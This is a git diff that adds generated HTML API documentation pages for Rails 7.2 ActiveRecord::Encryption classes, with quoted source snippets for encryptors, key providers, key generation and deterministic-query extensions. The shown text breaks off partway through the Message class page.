+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encrypted_attribute_type.rb, line 51
+      def changed_in_place?(raw_old_value, new_value)
+        old_value = raw_old_value.nil? ? nil : deserialize(raw_old_value)
+        old_value != new_value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deserialize(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encrypted_attribute_type.rb, line 35
+      def deserialize(value)
+        cast_type.deserialize decrypt(value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypted?(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encrypted_attribute_type.rb, line 47
+      def encrypted?(value)
+        with_context { encryptor.encrypted? value }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serialize(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encrypted_attribute_type.rb, line 39
+      def serialize(value)
+        if serialize_with_oldest?
+          serialize_with_oldest(value)
+        else
+          serialize_with_current(value)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + support_unencrypted_data?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encrypted_attribute_type.rb, line 61
+      def support_unencrypted_data?
+        ActiveRecord::Encryption.config.support_unencrypted_data && scheme.support_unencrypted_data? && !previous_type?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/EncryptedFixtures.html b/src/7.2/classes/ActiveRecord/Encryption/EncryptedFixtures.html new file mode 100644 index 0000000000..4e7e72e7b3 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/EncryptedFixtures.html @@ -0,0 +1,104 @@ +--- +title: ActiveRecord::Encryption::EncryptedFixtures +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(fixture, model_class) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encrypted_fixtures.rb, line 6
+      def initialize(fixture, model_class)
+        @clean_values = {}
+        encrypt_fixture_data(fixture, model_class)
+        process_preserved_original_columns(fixture, model_class)
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/EncryptingOnlyEncryptor.html b/src/7.2/classes/ActiveRecord/Encryption/EncryptingOnlyEncryptor.html new file mode 100644 index 0000000000..6102b802cf --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/EncryptingOnlyEncryptor.html @@ -0,0 +1,113 @@ +--- +title: ActiveRecord::Encryption::EncryptingOnlyEncryptor +layout: default +--- +
+ +
+
+ +
+ +

An encryptor that can encrypt data but can’t decrypt it.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + decrypt(encrypted_text, key_provider: nil, cipher_options: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encrypting_only_encryptor.rb, line 7
+      def decrypt(encrypted_text, key_provider: nil, cipher_options: {})
+        encrypted_text
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Encryptor.html b/src/7.2/classes/ActiveRecord/Encryption/Encryptor.html new file mode 100644 index 0000000000..2453f94c44 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Encryptor.html @@ -0,0 +1,344 @@ +--- +title: ActiveRecord::Encryption::Encryptor +layout: default +--- +
+ +
+
+ +
+ +

An encryptor exposes the encryption API that ActiveRecord::Encryption::EncryptedAttributeType uses for encrypting and decrypting attribute values.

+ +

It interacts with a KeyProvider for getting the keys, and delegate to ActiveRecord::Encryption::Cipher the actual encryption algorithm.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + +
DECRYPT_ERRORS=[OpenSSL::Cipher::CipherError, Errors::EncryptedContentIntegrity, Errors::Decryption]
ENCODING_ERRORS=[EncodingError, Errors::Encoding]
THRESHOLD_TO_JUSTIFY_COMPRESSION=140.bytes
+ + + + + + +

Class Public methods

+ +
+

+ + new(compress: true) + +

+ + +
+

Options

+
  • +

    :compress - Boolean indicating whether records should be compressed before encryption. Defaults to true.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptor.rb, line 19
+      def initialize(compress: true)
+        @compress = compress
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + binary?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptor.rb, line 77
+      def binary?
+        serializer.binary?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decrypt(encrypted_text, key_provider: default_key_provider, cipher_options: {}) + +

+ + +
+

Decrypts an encrypted_text and returns the result as clean text

+ +

Options

+
:key_provider +
+

Key provider to use for the encryption operation. It will default to ActiveRecord::Encryption.key_provider when not provided

+
:cipher_options +
+

Cipher-specific options that will be passed to the Cipher configured in ActiveRecord::Encryption.cipher

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptor.rb, line 60
+      def decrypt(encrypted_text, key_provider: default_key_provider, cipher_options: {})
+        message = deserialize_message(encrypted_text)
+        keys = key_provider.decryption_keys(message)
+        raise Errors::Decryption unless keys.present?
+        uncompress_if_needed(cipher.decrypt(message, key: keys.collect(&:secret), **cipher_options), message.headers.compressed)
+      rescue *(ENCODING_ERRORS + DECRYPT_ERRORS)
+        raise Errors::Decryption
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypt(clear_text, key_provider: default_key_provider, cipher_options: {}) + +

+ + +
+

Encrypts clean_text and returns the encrypted result

+ +

Internally, it will:

+
  1. +

    Create a new ActiveRecord::Encryption::Message

    +
  2. +

    Compress and encrypt clean_text as the message payload

    +
  3. +

    Serialize it with ActiveRecord::Encryption.message_serializer (ActiveRecord::Encryption::SafeMarshal by default)

    +
  4. +

    Encode the result with Base 64

    +
+ +

Options

+
:key_provider +
+

Key provider to use for the encryption operation. It will default to ActiveRecord::Encryption.key_provider when not provided.

+
:cipher_options +
+

Cipher-specific options that will be passed to the Cipher configured in ActiveRecord::Encryption.cipher

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptor.rb, line 42
+      def encrypt(clear_text, key_provider: default_key_provider, cipher_options: {})
+        clear_text = force_encoding_if_needed(clear_text) if cipher_options[:deterministic]
+
+        validate_payload_type(clear_text)
+        serialize_message build_encrypted_message(clear_text, key_provider: key_provider, cipher_options: cipher_options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypted?(text) + +

+ + +
+

Returns whether the text is encrypted or not

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptor.rb, line 70
+      def encrypted?(text)
+        deserialize_message(text)
+        true
+      rescue Errors::Encoding, *DECRYPT_ERRORS
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/EnvelopeEncryptionKeyProvider.html b/src/7.2/classes/ActiveRecord/Encryption/EnvelopeEncryptionKeyProvider.html new file mode 100644 index 0000000000..436fa90583 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/EnvelopeEncryptionKeyProvider.html @@ -0,0 +1,205 @@ +--- +title: ActiveRecord::Encryption::EnvelopeEncryptionKeyProvider +layout: default +--- +
+ +
+
+ +
+ +

Implements a simple envelope encryption approach where:

+
  • +

    It generates a random data-encryption key for each encryption operation.

    +
  • +

    It stores the generated key along with the encrypted payload. It encrypts this key with the master key provided in the active_record_encryption.primary_key credential.

    +
+ +

This provider can work with multiple master keys. It will use the last one for encrypting.

+ +

When config.active_record.encryption.store_key_references is true, it will also store a reference to the specific master key that was used to encrypt the data-encryption key. When not set, it will try all the configured master keys looking for the right one, in order to return the right decryption key.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + active_primary_key() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/envelope_encryption_key_provider.rb, line 31
+      def active_primary_key
+        @active_primary_key ||= primary_key_provider.encryption_key
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decryption_keys(encrypted_message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/envelope_encryption_key_provider.rb, line 26
+      def decryption_keys(encrypted_message)
+        secret = decrypt_data_key(encrypted_message)
+        secret ? [ActiveRecord::Encryption::Key.new(secret)] : []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encryption_key() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/envelope_encryption_key_provider.rb, line 18
+      def encryption_key
+        random_secret = generate_random_secret
+        ActiveRecord::Encryption::Key.new(random_secret).tap do |key|
+          key.public_tags.encrypted_data_key = encrypt_data_key(random_secret)
+          key.public_tags.encrypted_data_key_id = active_primary_key.id if ActiveRecord::Encryption.config.store_key_references
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Errors.html b/src/7.2/classes/ActiveRecord/Encryption/Errors.html new file mode 100644 index 0000000000..6511963b53 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Errors.html @@ -0,0 +1,91 @@ +--- +title: ActiveRecord::Encryption::Errors +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Errors/Base.html b/src/7.2/classes/ActiveRecord/Encryption/Errors/Base.html new file mode 100644 index 0000000000..27cfebcd26 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Errors/Base.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::Encryption::Errors::Base +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Errors/Configuration.html b/src/7.2/classes/ActiveRecord/Encryption/Errors/Configuration.html new file mode 100644 index 0000000000..f222addf48 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Errors/Configuration.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::Encryption::Errors::Configuration +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Errors/Decryption.html b/src/7.2/classes/ActiveRecord/Encryption/Errors/Decryption.html new file mode 100644 index 0000000000..33ed526f49 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Errors/Decryption.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::Encryption::Errors::Decryption +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Errors/Encoding.html b/src/7.2/classes/ActiveRecord/Encryption/Errors/Encoding.html new file mode 100644 index 0000000000..f4660edd2d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Errors/Encoding.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::Encryption::Errors::Encoding +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Errors/EncryptedContentIntegrity.html b/src/7.2/classes/ActiveRecord/Encryption/Errors/EncryptedContentIntegrity.html new file mode 100644 index 0000000000..c83f578344 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Errors/EncryptedContentIntegrity.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::Encryption::Errors::EncryptedContentIntegrity +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Errors/Encryption.html b/src/7.2/classes/ActiveRecord/Encryption/Errors/Encryption.html new file mode 100644 index 0000000000..b968c3f5b9 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Errors/Encryption.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::Encryption::Errors::Encryption +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Errors/ForbiddenClass.html b/src/7.2/classes/ActiveRecord/Encryption/Errors/ForbiddenClass.html new file mode 100644 index 0000000000..82058783b7 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Errors/ForbiddenClass.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::Encryption::Errors::ForbiddenClass +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries.html b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries.html new file mode 100644 index 0000000000..4e700bdf1a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries.html @@ -0,0 +1,155 @@ +--- +title: ActiveRecord::Encryption::ExtendedDeterministicQueries +layout: default +--- +
+ +
+
+ +
+ +

Automatically expand encrypted arguments to support querying both encrypted and unencrypted data

+ +

Active Record Encryption supports querying the db using deterministic attributes. For example:

+ +
Contact.find_by(email_address: "jorge@hey.com")
+
+ +

The value β€œjorge@hey.com” will get encrypted automatically to perform the query. But there is a problem while the data is being encrypted. This won’t work. During that time, you need these queries to be:

+ +
Contact.find_by(email_address: [ "jorge@hey.com", "<encrypted jorge@hey.com>" ])
+
+ +

This patches ActiveRecord to support this automatically. It addresses both:

+ + +

This module is included if β€˜config.active_record.encryption.extend_queries` is `true`.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + install_support() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/extended_deterministic_queries.rb, line 24
+      def self.install_support
+        # ActiveRecord::Base relies on ActiveRecord::Relation (ActiveRecord::QueryMethods) but it does
+        # some prepared statements caching. That's why we need to intercept +ActiveRecord::Base+ as soon
+        # as it's invoked (so that the proper prepared statement is cached).
+        ActiveRecord::Relation.prepend(RelationQueries)
+        ActiveRecord::Base.include(CoreQueries)
+        ActiveRecord::Encryption::EncryptedAttributeType.prepend(ExtendedEncryptableType)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries/AdditionalValue.html b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries/AdditionalValue.html new file mode 100644 index 0000000000..3c4b328548 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries/AdditionalValue.html @@ -0,0 +1,130 @@ +--- +title: ActiveRecord::Encryption::ExtendedDeterministicQueries::AdditionalValue +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + type
+ [R] + value
+ + + + +

Class Public methods

+ +
+

+ + new(value, type) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/extended_deterministic_queries.rb, line 135
+        def initialize(value, type)
+          @type = type
+          @value = process(value)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries/CoreQueries.html b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries/CoreQueries.html new file mode 100644 index 0000000000..6fc3599a2b --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries/CoreQueries.html @@ -0,0 +1,101 @@ +--- +title: ActiveRecord::Encryption::ExtendedDeterministicQueries::CoreQueries +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + find_by(*args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/extended_deterministic_queries.rb, line 126
+          def find_by(*args)
+            super(*EncryptedQuery.process_arguments(self, args, false))
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries/ExtendedEncryptableType.html b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries/ExtendedEncryptableType.html new file mode 100644 index 0000000000..525bf63ea8 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries/ExtendedEncryptableType.html @@ -0,0 +1,105 @@ +--- +title: ActiveRecord::Encryption::ExtendedDeterministicQueries::ExtendedEncryptableType +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + serialize(data) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/extended_deterministic_queries.rb, line 147
+        def serialize(data)
+          if data.is_a?(AdditionalValue)
+            data.value
+          else
+            super
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries/RelationQueries.html b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries/RelationQueries.html new file mode 100644 index 0000000000..48af590ad3 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicQueries/RelationQueries.html @@ -0,0 +1,192 @@ +--- +title: ActiveRecord::Encryption::ExtendedDeterministicQueries::RelationQueries +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + exists?(*args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/extended_deterministic_queries.rb, line 100
+        def exists?(*args)
+          super(*EncryptedQuery.process_arguments(self, args, true))
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + scope_for_create() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/extended_deterministic_queries.rb, line 104
+        def scope_for_create
+          return super unless klass.deterministic_encrypted_attributes&.any?
+
+          scope_attributes = super
+          wheres = where_values_hash
+
+          klass.deterministic_encrypted_attributes.each do |attribute_name|
+            attribute_name = attribute_name.to_s
+            values = wheres[attribute_name]
+            if values.is_a?(Array) && values[1..].all?(AdditionalValue)
+              scope_attributes[attribute_name] = values.first
+            end
+          end
+
+          scope_attributes
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + where(*args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/extended_deterministic_queries.rb, line 96
+        def where(*args)
+          super(*EncryptedQuery.process_arguments(self, args, true))
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicUniquenessValidator.html b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicUniquenessValidator.html new file mode 100644 index 0000000000..a31b58204b --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicUniquenessValidator.html @@ -0,0 +1,114 @@ +--- +title: ActiveRecord::Encryption::ExtendedDeterministicUniquenessValidator +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + install_support() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/extended_deterministic_uniqueness_validator.rb, line 6
+      def self.install_support
+        ActiveRecord::Validations::UniquenessValidator.prepend(EncryptedUniquenessValidator)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicUniquenessValidator/EncryptedUniquenessValidator.html b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicUniquenessValidator/EncryptedUniquenessValidator.html new file mode 100644 index 0000000000..9f31022745 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/ExtendedDeterministicUniquenessValidator/EncryptedUniquenessValidator.html @@ -0,0 +1,112 @@ +--- +title: ActiveRecord::Encryption::ExtendedDeterministicUniquenessValidator::EncryptedUniquenessValidator +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + validate_each(record, attribute, value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/extended_deterministic_uniqueness_validator.rb, line 11
+        def validate_each(record, attribute, value)
+          super(record, attribute, value)
+
+          klass = record.class
+          if klass.deterministic_encrypted_attributes&.include?(attribute)
+            encrypted_type = klass.type_for_attribute(attribute)
+            encrypted_type.previous_types.each do |type|
+              encrypted_value = type.serialize(value)
+              ActiveRecord::Encryption.without_encryption do
+                super(record, attribute, encrypted_value)
+              end
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Key.html b/src/7.2/classes/ActiveRecord/Encryption/Key.html new file mode 100644 index 0000000000..509d22df02 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Key.html @@ -0,0 +1,220 @@ +--- +title: ActiveRecord::Encryption::Key +layout: default +--- +
+ +
+
+ +
+ +

A key is a container for a given secret

+ +

Optionally, it can include public_tags. These tags are meant to be stored in clean (public) and can be used, for example, to include information that references the key for a future retrieval operation.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + public_tags
+ [R] + secret
+ + + + +

Class Public methods

+ +
+

+ + derive_from(password) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/key.rb, line 18
+      def self.derive_from(password)
+        secret = ActiveRecord::Encryption.key_generator.derive_key_from(password)
+        ActiveRecord::Encryption::Key.new(secret)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(secret) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/key.rb, line 13
+      def initialize(secret)
+        @secret = secret
+        @public_tags = Properties.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + id() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/key.rb, line 23
+      def id
+        Digest::SHA1.hexdigest(secret).first(4)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/KeyGenerator.html b/src/7.2/classes/ActiveRecord/Encryption/KeyGenerator.html new file mode 100644 index 0000000000..37d5826677 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/KeyGenerator.html @@ -0,0 +1,257 @@ +--- +title: ActiveRecord::Encryption::KeyGenerator +layout: default +--- +
+ +
+
+ +
+ +

Utility for generating and deriving random keys.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + hash_digest_class
+ + + + +

Class Public methods

+ +
+

+ + new(hash_digest_class: ActiveRecord::Encryption.config.hash_digest_class) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/key_generator.rb, line 11
+      def initialize(hash_digest_class: ActiveRecord::Encryption.config.hash_digest_class)
+        @hash_digest_class = hash_digest_class
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + derive_key_from(password, length: key_length) + +

+ + +
+

Derives a key from the given password. The key will have a size in bytes of :length (configured Cipherβ€˜s length by default)

+ +

The generated key will be salted with the value of ActiveRecord::Encryption.key_derivation_salt

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/key_generator.rb, line 38
+      def derive_key_from(password, length: key_length)
+        ActiveSupport::KeyGenerator.new(password, hash_digest_class: hash_digest_class)
+          .generate_key(key_derivation_salt, length)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generate_random_hex_key(length: key_length) + +

+ + +
+

Returns a random key in hexadecimal format. The key will have a size in bytes of :length (configured Cipherβ€˜s length by default)

+ +

Hexadecimal format is handy for representing keys as printable text. To maximize the space of characters used, it is good practice including not printable characters. Hexadecimal format ensures that generated keys are representable with plain text

+ +

To convert back to the original string with the desired length:

+ +
[ value ].pack("H*")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/key_generator.rb, line 30
+      def generate_random_hex_key(length: key_length)
+        generate_random_key(length: length).unpack("H*")[0]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generate_random_key(length: key_length) + +

+ + +
+

Returns a random key. The key will have a size in bytes of :length (configured Cipherβ€˜s length by default)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/key_generator.rb, line 16
+      def generate_random_key(length: key_length)
+        SecureRandom.random_bytes(length)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/KeyProvider.html b/src/7.2/classes/ActiveRecord/Encryption/KeyProvider.html new file mode 100644 index 0000000000..24007341e9 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/KeyProvider.html @@ -0,0 +1,211 @@ +--- +title: ActiveRecord::Encryption::KeyProvider +layout: default +--- +
+ +
+
+ +
+ +

A KeyProvider serves keys:

+
  • +

    An encryption key

    +
  • +

    A list of potential decryption keys. Serving multiple decryption keys supports rotation-schemes where new keys are added but old keys need to continue working

    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(keys) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/key_provider.rb, line 11
+      def initialize(keys)
+        @keys = Array(keys)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + decryption_keys(encrypted_message) + +

+ + +
+

Returns the list of decryption keys

+ +

When the message holds a reference to its encryption key, it will return an array with that key. If not, it will return the list of keys.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/key_provider.rb, line 32
+      def decryption_keys(encrypted_message)
+        if encrypted_message.headers.encrypted_data_key_id
+          keys_grouped_by_id[encrypted_message.headers.encrypted_data_key_id]
+        else
+          @keys
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encryption_key() + +

+ + +
+

Returns the last key in the list as the active key to perform encryptions

+ +

When ActiveRecord::Encryption.config.store_key_references is true, the key will include a public tag referencing the key itself. That key will be stored in the public headers of the encrypted message

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/key_provider.rb, line 20
+      def encryption_key
+        @encryption_key ||= @keys.last.tap do |key|
+          key.public_tags.encrypted_data_key_id = key.id if ActiveRecord::Encryption.config.store_key_references
+        end
+
+        @encryption_key
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Message.html b/src/7.2/classes/ActiveRecord/Encryption/Message.html new file mode 100644 index 0000000000..3fd36b108d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Message.html @@ -0,0 +1,187 @@ +--- +title: ActiveRecord::Encryption::Message +layout: default +--- +
+ +
+
+ +
+ +

A message defines the structure of the data we store in encrypted attributes. It contains:

+
  • +

    An encrypted payload

    +
  • +

    A list of unencrypted headers

    +
+ +

See Encryptor#encrypt

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + == +
  • + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [RW] + headers
+ [RW] + payload
+ + + + +

Class Public methods

+ +
+

+ + new(payload: nil, headers: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/message.rb, line 14
+      def initialize(payload: nil, headers: {})
+        validate_payload_type(payload)
+
